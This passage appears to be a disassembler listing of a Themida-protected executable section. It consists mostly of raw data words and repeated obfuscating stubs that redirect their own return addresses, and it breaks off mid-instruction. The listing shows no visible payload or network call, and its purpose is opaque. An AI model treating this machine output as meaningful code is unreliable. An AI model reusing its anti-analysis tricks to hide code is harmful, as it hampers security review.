0FA2579BDh, 850F0007h dd 37h, 0E8D0Fh, 0E9560000h, 7, 42C8198h, 5B7192B1h, 17A595FFh dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 83412EC3h, 0FA1D21BDh, 840F0007h, 24h, 169D9501h dd 858107FAh, 7FA20C9h, 4003h, 858194B2h, 7FA1581h, 4003h dd 3B49F381h, 0D88B1FE5h, 9D8B310Fh, 7FA019Dh, 5F6D8D8Dh dd 0B52907FAh, 7FA2459h, 0FE9h, 0F90C2900h, 5C17EBDEh dd 0E856912Ch, 29C2AAE3h, 8D890189h, 7FA076Dh, 6AC233h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5DD342C3h, 984A8AC7h, 0FE8h, 32D41600h, 0C9604BBh, 0FE9AB1FCh dd 26F83472h, 5ABBE680h, 0F044189h, 282h, 0FD68B00h, 0D68B6631h dd 5F798D8Dh, 958B07FAh, 7FA0F9Dh, 7E90189h, 0CE000000h dd 15F09435h, 0C233552Ah, 20F9958Bh, 418907FAh, 0E0F2BB04h dd 0BD834387h, 7FA2B35h, 48840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 7988C353h, 0FFD8BF0Fh, 0FA00C195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F1958B78h, 8307FA17h, 0FA15B5BDh, 850F0107h, 3Ch, 0BB666052h dd 5B612AAEh, 2FE9h, 59958B00h, 8B07FA23h, 0FA609BB5h dd 6C707h, 8B000000h, 0FA5E9FB5h, 6C707h, 0CF000000h, 14D28166h dd 0CB81660Fh, 9589EECCh, 7FA18F5h, 0B6DBD83h, 0F0007FAh dd 1DA84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 9F694720h, 0BAD45E56h, 9D2B4356h dd 7FA1D19h, 2F15BD83h, 0F0107FAh, 16885h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 8C66B3A9h, 0BB97BE7Eh, 77DFE476h, 4EFC8D8Bh, 0D78007FAh dd 9E96Ch, 5790000h, 0EEBCCC33h, 0C691F17Ah, 0EE80001h dd 12000000h, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 259D0B5Eh dd 5B07FA2Fh, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0B45E97Bh, 8A8E3C2Dh, 230D68FDh dd 0AE96EF1h, 0A000000h, 321DCF31h, 554FF78Ah, 24348108h dd 6EF1238Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0FCC35545h, 0E5DF1F7Fh, 9D89D18Bh, 7FA1741h, 6AFF6Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 616A28C3h, 0FFDE8B99h, 0FA154195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B6159A7h, 0FA110D95h, 1195FF07h, 907FA0Eh, 0FA268595h dd 0FC8D8B07h, 6A07FA4Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0CD7BC353h, 4D7DBD2Ah dd 0D98D293Bh, 0E907FA00h, 11h, 0FA49E44Dh, 87811541h dd 0BE883819h, 0C3A988F9h, 8101FE28h, 2BA7B8D3h, 21BD833Eh dd 107FA29h, 2D850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 21C615C3h, 6E92134h dd 0AB000000h, 0C5923D1Bh, 8BA6B3E8h, 0BD83FCC0h, 7FA2ACDh dd 83097500h, 0FA1899BDh, 1A740007h, 0C08B5350h, 20C9858Bh dd 858907FAh, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h dd 50187400h, 0C9858B53h, 8907FA20h, 0FA20C985h, 139D8D07h dd 0FF07FCDFh, 0F585BD3h, 687h, 0C9B58900h, 6A07FA14h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 5CA8C351h, 0D59E604Fh, 0E853E7A2h, 8, 2BD4F58Ch dd 8D5EA12Eh, 2199523h, 5A5A07FAh, 0F88AC08Bh, 0B6DBD83h dd 0F0007FAh, 6085h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 91C3207h, 0FA08498Dh dd 0BE807h, 69550000h, 0B6F4E6DDh, 0CEA843E8h, 69B58903h dd 5B07FA11h, 2F05BD83h, 0F0007FAh, 1884h, 13E900h, 4C210000h dd 65217918h, 10653100h, 0F7120477h, 3254D8E7h, 6DBD833Bh dd 7FA0Bh, 26840Fh, 95290000h, 7FA2375h, 2ECDBD83h, 0F0007FAh dd 1384h, 0EA816600h, 9E90346h, 0F2000000h, 0B67DBC91h dd 0BFDC4607h, 0B6DBD83h, 0F0007FAh, 1A84h, 0CDBD8300h dd 7FA2Eh, 0D840Fh, 0B5890000h, 7FA2F81h, 1860Fh, 83FC0000h dd 0FA0B6DBDh, 840F0007h, 4Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 9DC35040h, 0E82ECE2Dh, 13h dd 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh, 0F80D58BFh dd 0D78B665Bh, 17DBD83h, 0F0007FAh, 584h, 0DB816600h, 0BD835E43h dd 7FA0B6Dh, 3E840F00h, 0FC000000h, 290DBD83h, 0F0007FAh dd 3084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 5529ADDh, 2BE59D01h, 95FF07FAh, 7FA2645h dd 0BED38166h, 89C08BF9h, 0FA1DEDB5h, 0CDBD8307h, 7FA2Ah dd 0BD830975h, 7FA1899h, 501A7400h, 8BC08B53h, 0FA158185h dd 81858907h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h, 99BD8358h dd 7FA18h, 53501874h, 1581858Bh, 858907FAh, 7FA1581h, 0DF2C9D8Dh dd 0D3FF07FCh, 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0F60C50C3h, 5D9D8B7Fh, 0E907FA06h dd 0Dh, 6588056Ch, 901FEAF1h, 0B04BFB90h, 0CE93Bh, 88900000h dd 0E6D6D686h, 0E0E596FFh, 6A6BE7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 832FA9C3h dd 648F1139h, 950BC08Bh, 7FA07CDh, 0B6DBD83h, 0F0007FAh dd 32684h, 0D1BD8900h, 8B07FA18h, 0FA0DB99Dh, 75BD8307h dd 207FA0Bh, 23840Fh, 8E0F0000h, 4, 0D191BA66h, 0B5BD83FCh dd 107FA15h, 0B850Fh, 6E90000h, 20000000h, 0E958EBA9h dd 0F38160D4h, 37385813h, 4EFC8D8Bh, 0B58907FAh, 7FA0141h dd 6A01FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 41ACABC3h, 39A701BAh, 4E844h, 800000h, 5E90000h dd 29000000h, 0D868EE5Ah, 12E850h, 0F8F70000h, 0B34FC513h dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 0AEF503BAh, 448B5A2Eh dd 39B30424h, 8B66008Bh, 244489D3h, 58B7B604h, 1810Fh dd 6AF80000h, 68D281FFh, 0FF26ABFDh, 0FA154195h, 9D953307h dd 6107FA08h, 1671958Bh, 816607FAh, 8D6EB3CBh, 0FA2889BDh dd 8B33B307h, 8B661C4Fh, 8B016ADFh, 0BA6050D0h, 40BB92F2h dd 2890Fh, 0F58A0000h, 240C8961h, 2C259589h, 858D07FAh dd 7FD6A64h, 0EB80D18Bh, 1D0FF94h, 0FA18659Dh, 204F8B07h dd 1830Fh, 6AF80000h, 619D8B03h, 9107FA26h, 0D18B6660h dd 0FE9h, 28F91E00h, 0D553E142h, 16744705h, 21F815AEh dd 8B915061h, 0FA2DB59Dh, 64858D07h, 0E907FD6Ah, 11h, 1892EEE4h dd 2297FACFh, 157D5512h, 4B272655h, 6AD0FF2Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 5768C351h, 5BD7BF0Fh, 2889BD8Dh, 4F8B07FAh, 0ACBA661Ch dd 8B016A06h, 0FA0F5595h, 7E89107h, 4D000000h, 68A6DE7Ah dd 860F4240h, 4, 258BBB66h, 6660505Bh, 0F38BC38Bh, 860F9161h dd 17h, 0BE8h, 798FDC00h, 0A5C16BDEh, 585E3289h, 0AC9B531h dd 8D5B07FAh, 0FD6A6485h, 0D2816607h, 0D0FF8EA3h, 0E977BA66h dd 6A204F8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0ABE9C353h, 4089F373h, 36A265Dh dd 3CBB6653h, 9D295BA6h, 7FA1D8Dh, 0D68B6650h, 6A240C89h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C38FC356h, 468CEE36h, 8DB4575Bh, 0FD6A6485h dd 0B8BA6607h, 66D0FF60h, 8BB272BBh, 0FA4EFC8Dh, 45ADBB07h dd 1FE7290h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D2C35141h, 8B7A5886h, 0FA4EFC85h, 8D295207h, 7FA244Dh dd 8900FE5Bh, 0FA27959Dh, 0BA016A07h, 6D49B17Fh, 4E8h dd 0FF9FFF00h, 5E860FFh, 1000000h, 0EE3A1A7Ah, 0CE8h, 2F8B4000h dd 30071095h, 0C511CF75h, 8B585B95h, 665061DEh, 8B67A1BBh dd 0F042444h, 485h, 0E2BA6600h, 0E8008B82h, 10h, 478D294Dh dd 71A6698Ch, 284E6C3Bh, 0B84F44C1h, 61605250h, 0D08B310Fh dd 895A585Ah, 58042444h, 0DB5958Bh, 858D07FAh, 7FD6A6Eh dd 0FF35D280h, 0AD9589D0h, 8307FA2Dh, 0FA2F05BDh, 840F0007h dd 9Dh, 83C9D780h, 0FA33EDBDh, 850F0107h, 8Dh, 16C1958Bh dd 8D8D07FAh, 7FD6A78h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0C0C35242h, 0BABDCB81h, 36A27A8h, 0AE9h dd 313D4800h, 72202418h, 6A75AEB6h, 0FFD38B01h, 11958BD1h dd 6607FA1Ch, 2119DB81h, 9D8B016Ah, 7FA2A89h, 8166016Ah dd 0FFE92BD3h, 0E8D08BD1h, 0F8616D4Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 84C35747h, 16DFBAEFh, 0CF8022B7h dd 51206A9Dh, 5AC0D680h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 29D99CC3h, 0FA0F699Dh dd 4195FF07h, 6A07FA15h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 96E1C353h, 952B71E7h dd 7FA2D61h, 0B8h, 519D8B00h, 0B07FA28h, 37840FC0h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0C71CC356h, 831F0A13h, 0FA2BE9BDh, 840F0007h dd 0Ah, 0FFD78B66h, 0FA312595h, 858BF907h, 7FA1615h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 21C35545h, 503A03C1h dd 5810Fh, 81660000h, 5A9BFCC3h, 6A0000C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C42FC353h dd 36EFB0DFh, 8B3FFC72h, 0FA2F5D9Dh, 95895807h, 7FA286Dh dd 80D98C66h, 0C1F60DF7h, 80840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 747AC350h, 56BB741Bh, 0E94600A8h, 57h, 0D7C38166h, 3D9589B3h dd 8B07FA23h, 0FA1505B5h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 319B4722h dd 0FA07B195h, 80C68107h, 0E9000011h, 10h, 0D49E51DFh dd 1C0D7F7Ah, 0F8AE635Ah dd 0FDA5390h, 6C7h, 5EF90000h, 0AAD38166h, 0F8830Ch, 0BAC840Fh dd 0F8830000h, 2E850F01h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F32C356h dd 28Ah, 0B8DC8A00h, 0 ; --------------------------------------------------------------------------- mov [ebp+7FA08B5h], edi or eax, eax jz loc_58A022 push 0 push edx call sub_589F91 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_589F91 proc near ; CODE XREF: Themida_:00589F89p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_589F91 endp ; --------------------------------------------------------------------------- db 14h, 0A6h, 76h dd 8AB26053h, 6840FD8h, 8B000000h, 0FA16C995h, 1F88307h dd 9A840Fh, 0FCBB0000h, 6659F572h, 7506DA81h, 0F03F883h dd 1C84h, 859D8900h, 2B07FA08h, 498D89C0h, 8D07FA0Eh, 5B89E0BDh dd 0FFDF8B00h, 0C4BA66E7h, 1B860h, 81660000h, 8DD836F3h dd 5B89E0BDh, 0E59D8B00h, 0FF07FA29h, 55006AE7h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h ; --------------------------------------------------------------------------- jb short loc_58A04B loc_58A022: ; CODE XREF: Themida_:00589F80j lea edi, [ebp+7FA4588h] push 0 push edx call sub_58A033 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A033 proc near ; CODE XREF: Themida_:0058A02Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58A033 endp ; --------------------------------------------------------------------------- db 0E4h dd 9CEE46F9h db 0BCh, 5Eh, 0A2h ; --------------------------------------------------------------------------- loc_58A04B: ; CODE XREF: Themida_:0058A020j bound edx, [esi-17h] sbb [ebx], eax ; --------------------------------------------------------------------------- dd 0B5290000h, 7FA1F2Dh, 4F5785C7h, 507FAh, 8B660000h dd 5B8DAh, 0DE8B0000h, 9D4E9h, 0D958B00h, 8B07FA10h, 0FA2F0D9Dh dd 2F88307h, 113850Fh, 0EFBA0000h, 0B83F5DD1h, 0 ; --------------------------------------------------------------------------- jno loc_58A09B mov edx, 68B9AD67h loc_58A09B: ; CODE XREF: Themida_:0058A090j or eax, eax jz loc_58A14F push 0 push esi call sub_58A0AE and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A0AE proc near ; CODE XREF: Themida_:0058A0A6p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58A0AE endp ; --------------------------------------------------------------------------- dw 8A9Fh dd 1F883F0h, 0FF8E840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 37D134C3h, 6181E7A6h dd 667BAD86h, 5151DBBAh, 5AD0BF0Fh, 0F03F883h, 0FFFEEC84h dd 0D0B70FFFh, 0E95DB760h, 10h, 255EC911h, 67E3136Eh, 0E4A1F4C7h dd 6623A1ADh, 0B861h, 0BD890000h, 7FA14DDh, 5850F60h, 0BB000000h dd 1A59214Dh, 0AD8589h, 8D6107FAh, 5B89E0BDh, 59D8B00h dd 0FF07FA18h, 559D89E7h ; --------------------------------------------------------------------------- sub edi, edx pop es loc_58A14F: ; CODE XREF: Themida_:0058A09Dj lea edi, [ebp+7FA4780h] jmp loc_58A16B ; --------------------------------------------------------------------------- dw 0F9E8h ; --------------------------------------------------------------------------- add ah, [ecx+41h] mov dl, 0B4h dec ebx jnp short loc_58A19A cmp ebp, ss:[ebx-4047FB6Bh] loc_58A16B: ; CODE XREF: Themida_:0058A155j jmp loc_58A36B ; --------------------------------------------------------------------------- push 0 push edi call sub_58A17B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A17B proc near ; CODE XREF: Themida_:0058A173p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_58A17B endp ; --------------------------------------------------------------------------- db 24h dd 0AD958B3Bh, 2907FA0Ch, 0FA2039BDh db 7, 83h ; --------------------------------------------------------------------------- loc_58A19A: ; CODE XREF: Themida_:0058A162j clc add ecx, [edi] test [edx], edx ; --------------------------------------------------------------------------- db 0 dd 0D88B0000h, 4914BD8Dh, 5B5307FAh, 1BAE9h, 0DEBF0F00h dd 0F05F883h, 4A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 1B5172DDh, 0AD07E373h dd 8501FA32h, 7FA2DE5h, 68E0Fh, 95030000h, 7FA0205h, 84CE9h dd 9E900h, 21F20000h, 0CBDD2CA8h, 8364E753h, 850F06F8h dd 6Ah, 11199D03h, 0BD8D07FAh, 7FA4B0Ch, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 96C35040h, 8997E74Ch dd 10E9CA3Ch, 0D5000000h, 0A55154CDh, 4637899h, 6C97B4FEh dd 0E9D9462Ah, 113h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0DFC35242h, 22B1958Bh, 0F88307FAh, 8E850F07h dd 89000000h, 0FA1F798Dh, 959D8B07h, 8D07FA0Ch, 0FA0311BDh dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 6063D5B9h, 214D8D8Bh, 0C4BA07FAh, 614ACDF8h dd 9E9h, 0C55E6900h, 0D30C1BACh, 16E9E4E7h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0C94DC352h, 4D2EDF82h, 9BD3160h, 8907FA16h dd 0FA2AD59Dh, 0E9566107h, 8, 0AA59DEF7h, 39BC6D50h, 0AF8835Bh dd 51850Fh, 0D3810000h, 82AC5A2h, 4D04BD8Dh, 0BF0F07FAh dd 3DE9D0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 2A6DDEC3h, 0D3FD29DDh, 0E9C092E6h dd 13h, 25D36A62h, 55D63781h, 0F7C98899h, 0FAC23544h ; --------------------------------------------------------------------------- or al, 60h cmc loc_58A36B: ; CODE XREF: Themida_:loc_58A16Bj push edi mov dx, ax mov ecx, 505DF03Ah mov edx, ecx cmp dword ptr [edi], 0 jz loc_58A3E5 push 0 push edi call sub_58A38A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A38A proc near ; CODE XREF: Themida_:0058A382p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_58A38A endp ; --------------------------------------------------------------------------- dw 4DDCh dd 869005C4h, 8986962Eh, 0FA101D8Dh, 0E80F3007h, 8, 85336C8Eh dd 3821E246h, 234D952Bh, 0D15A07FAh, 898BBC9h, 0E9476C21h dd 0Eh, 0AA065255h, 39266FF7h, 56168C9Eh, 97E90957h, 89FFFFFFh dd 0FA2E91B5h ; --------------------------------------------------------------------------- pop es loc_58A3E5: ; CODE XREF: Themida_:0058A379j pop edi movsx edx, dx mov [ebp+7FA4F00h], edi mov edx, 5345BDE9h lea ecx, [ebp+7FA1FA1h] cld push dword ptr [ebp+7FA0EBDh] push 0 push ebx call sub_58A40C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A40C proc near ; CODE XREF: Themida_:0058A404p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58A40C endp ; --------------------------------------------------------------------------- dd 74A672B0h, 893EE6A7h, 0FA2EB185h, 8A858D07h, 5007FCD3h dd 56FDBD8Dh, 8D8D07FAh, 7FA7002h, 831ABCB8h, 30CF2B54h dd 47C8D007h, 8DF87549h, 0FA6FA4B5h, 1A8D8D07h, 2B07FA70h dd 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h, 7FA2BE9h dd 0FF067400h, 0FA312595h, 0B58B07h, 8D07FA4Fh, 0FCD38A85h dd 8DD0FF07h, 0FA435485h, 0C7D0FF07h, 0FA067185h, 107h dd 0B1A58B00h, 8B07FA2Dh, 0FA32C5B5h, 0D5AD8B07h, 3307FA1Dh dd 0CC2C0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 4AC35646h, 0E79EA282h, 6A9209h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D7B731C3h dd 1B8A4EBEh, 0E860C832h, 0Fh, 2E343835h, 0BF8A0AD4h, 2904E432h dd 52730916h, 81B25F5Eh, 0F1BD8361h, 7FA26h, 2B840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 6F6A36C3h, 711C1213h, 0FF769851h, 0FA152195h, 5BD8307h dd 7FA2Ch, 1BA850Fh, 0BF0F0000h, 0EDBD83DFh, 107FA33h dd 1AA850Fh, 870F0000h, 6, 2FA99D8Bh, 6ABA07FAh, 830C163Ch dd 0FA000DBDh, 840F0007h, 18Ch, 2405D281h, 85890F7Eh, 7FA29C9h dd 4F53BD83h, 0F0007FAh, 17384h, 858B6000h, 7FA296Dh, 0E024BF66h dd 8A858D61h, 6A07FCD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0BE0AC356h, 3F14CC0Bh dd 0A98D890Eh, 8B07FA23h, 0FA4F00B5h, 0FFF48A07h, 89D8B2D0h dd 0FA0D598Dh, 6585C607h, 5407FA06h, 0E8D8B70Fh, 4, 0FF4EBEF4h dd 2850Fh, 0D68B0000h, 0FE32BB50h, 448B26DCh, 54B70424h dd 6053008Bh, 61D78B66h, 2444895Bh, 7EB66004h, 0FB8B5250h dd 5A56310Fh, 5861585Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0E1C35646h, 12DCABF4h, 0A5B5FF5Fh, 6A07FA08h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0A63AC356h, 52496C0Ch, 0D3BA6612h, 0E2858DDFh dd 6A07FA3Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 30A9C353h, 3829DE87h, 13DB93B8h dd 5E9h, 0DFA61F00h, 0D0FFF162h, 22E19D8Bh, 6A07FAh, 0FF6A6DB3h dd 0F88AD0FFh, 212DB5FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 816698C3h, 0FFCF88D3h dd 0FA0EBD95h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0B173519Ah, 0C1E68027h dd 4F00B58Bh, 958907FAh, 7FA2955h, 2C9D9D8Bh, 6AC307FAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 1949C355h, 1615B58Bh, 0B52907FAh, 7FA0CCDh dd 840FF60Bh, 28h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0DFC35646h, 0C6ACE145h, 0B5010006h, 7FA15E5h dd 4F088589h, 0FE807FAh, 0A0000000h, 231C79Ah, 934B8C69h dd 4526539Ch, 810FE972h, 6, 16ED9501h, 835A07FAh, 840F00F8h dd 34Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 4DC35040h, 226C6FFDh, 24B2D189h, 0A19D8BF2h, 0B807FA0Fh dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_58A7E3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A7E3 proc near ; CODE XREF: Themida_:0058A7DBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58A7E3 endp ; --------------------------------------------------------------------------- db 0E3h dd 0F59743A5h, 0AD85896Dh, 8307FA25h, 840F00F8h, 9Ch, 5860Fh dd 8ABA0000h, 83508982h, 850F02F8h, 4Fh, 6860Fh, 95030000h dd 7FA145Dh, 4583858Dh, 820F07FAh, 3, 2D36E280h, 929h dd 8BCF8A60h, 0FA14B9B5h, 0E8506107h, 0Bh, 0F6E873B2h dd 0DB42AA63h, 66289700h, 895BD08Bh, 0BF0F2404h, 5EB2C3D3h dd 18E0Fh, 0B8FC0000h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_58A87B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A87B proc near ; CODE XREF: Themida_:0058A873p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58A87B endp ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- addps xmm7, oword ptr ds:0D4C8CD01h cld mov edx, 5185C3ABh jmp loc_58AAF2 ; --------------------------------------------------------------------------- mov ebx, [ebp+7FA001Dh] mov eax, 1 push 0 push ebp call sub_58A8B4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A8B4 proc near ; CODE XREF: Themida_:0058A8ACp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_58A8B4 endp ; --------------------------------------------------------------------------- dd 6CC9DF93h, 59FCF4F4h, 8D958B68h, 8D07FA27h, 0FA4588BDh dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0D74A33DBh, 0F1A9965Bh, 6E9h, 0C773BF00h dd 0E9775C70h, 0B2h, 1F59958Bh, 0BD0107FAh, 7FA00D1h, 0F02F883h dd 6685h, 0A1BB6600h, 80BD8D31h, 0E807FA47h, 10h, 4AA3EFE3h dd 0CC9BF27h, 5584719h, 3E73082Ch, 5E8h, 0EAEC6D00h, 28BA828Ch dd 5A671170h, 68E95Ah, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 850F22C3h, 3, 0FD9B70Fh dd 682h, 259D8B00h, 8307FA06h, 850F03F8h, 14h, 0BD8DD68Bh dd 7FA4914h, 0E9D6B70Fh, 1Eh, 0E7CDBA66h, 0F05F883h, 1185h dd 93E900h, 95290000h, 7FA291Dh, 1E799589h, 895707FAh dd 0FA18E585h, 0F03AB907h, 890F505Dh, 3, 83DEB70Fh, 840F003Fh dd 69h, 2E1958Bh, 9D8B07FAh, 7FA2B19h, 6A0F30h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8B6665C3h, 6AC9D1D1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 5B5CC351h, 0DA97A265h dd 47E62CBBh, 3820Fh, 8B660000h, 0FF95E9DEh, 0DE80FFFFh dd 0B1BB66FFh, 5F8834Fh, 0A4850Fh, 0DE80000h, 71000000h dd 86BB725h, 3683F648h, 0B2EF5AEh, 2779958Bh, 665A07FAh dd 9529D98Ch, 7FA0DD9h, 0F04C1F6h, 6885h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 111FF1E0h, 10D9D8Bh, 0B807FAh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 83D9C356h, 36068B3h, 0FA204595h, 0BDEF8107h, 61438784h dd 25718D89h, 17E907FAh, 33000000h, 0FA17F995h, 0E9858B07h dd 0F07FA29h, 0E0FFD3B7h, 0B3D8D89h ; --------------------------------------------------------------------------- cli pop es loc_58AAF2: ; CODE XREF: Themida_:0058A899j cmp dword ptr [ebp+7FA0EBDh], 0 jnz loc_58ABE0 mov edx, 5373E0E0h push eax call near ptr loc_58AB0E+3 dec edi db 66h loopne near ptr loc_58AB2A+2 loc_58AB0E: ; CODE XREF: Themida_:0058AB05p xchg ebp, [edx+edi*8-45h] cmp [ebx], esi push ebp sub [ebx-77h], ebx add al, 24h push 0 push esi call sub_58AB25 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AB25 proc near ; CODE XREF: Themida_:0058AB1Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi loc_58AB2A: ; CODE XREF: Themida_:0058AB0Bj add [esp-4+arg_4], 14h inc esi push esi retn sub_58AB25 endp ; --------------------------------------------------------------------------- xchg eax, esp mov dx, 0A7C9h mov byte ptr [ebp+7FA0665h], 45h push 0 push edx call sub_58AB4C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AB4C proc near ; CODE XREF: Themida_:0058AB44p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58AB4C endp ; --------------------------------------------------------------------------- push ds add [eax], ebp mov dx, di or edx, 2A299BBh push 0C3B76BB5h mov bx, ax xor dword ptr [esp], 4DC502DCh mov ebx, ecx push dword ptr [ebp+7FA08A5h] mov [ebp+7FA11A1h], edi lea eax, [ebp+7FA3AE2h] jmp loc_58AB99 ; --------------------------------------------------------------------------- dd 1A63A6BBh, 0A9BB6DA9h db 0ECh ; --------------------------------------------------------------------------- loc_58AB99: ; CODE XREF: Themida_:0058AB8Bj call eax mov [ebp+7FA17BDh], ecx mov [ebp+7FA0EBDh], eax push 0 push ebx call 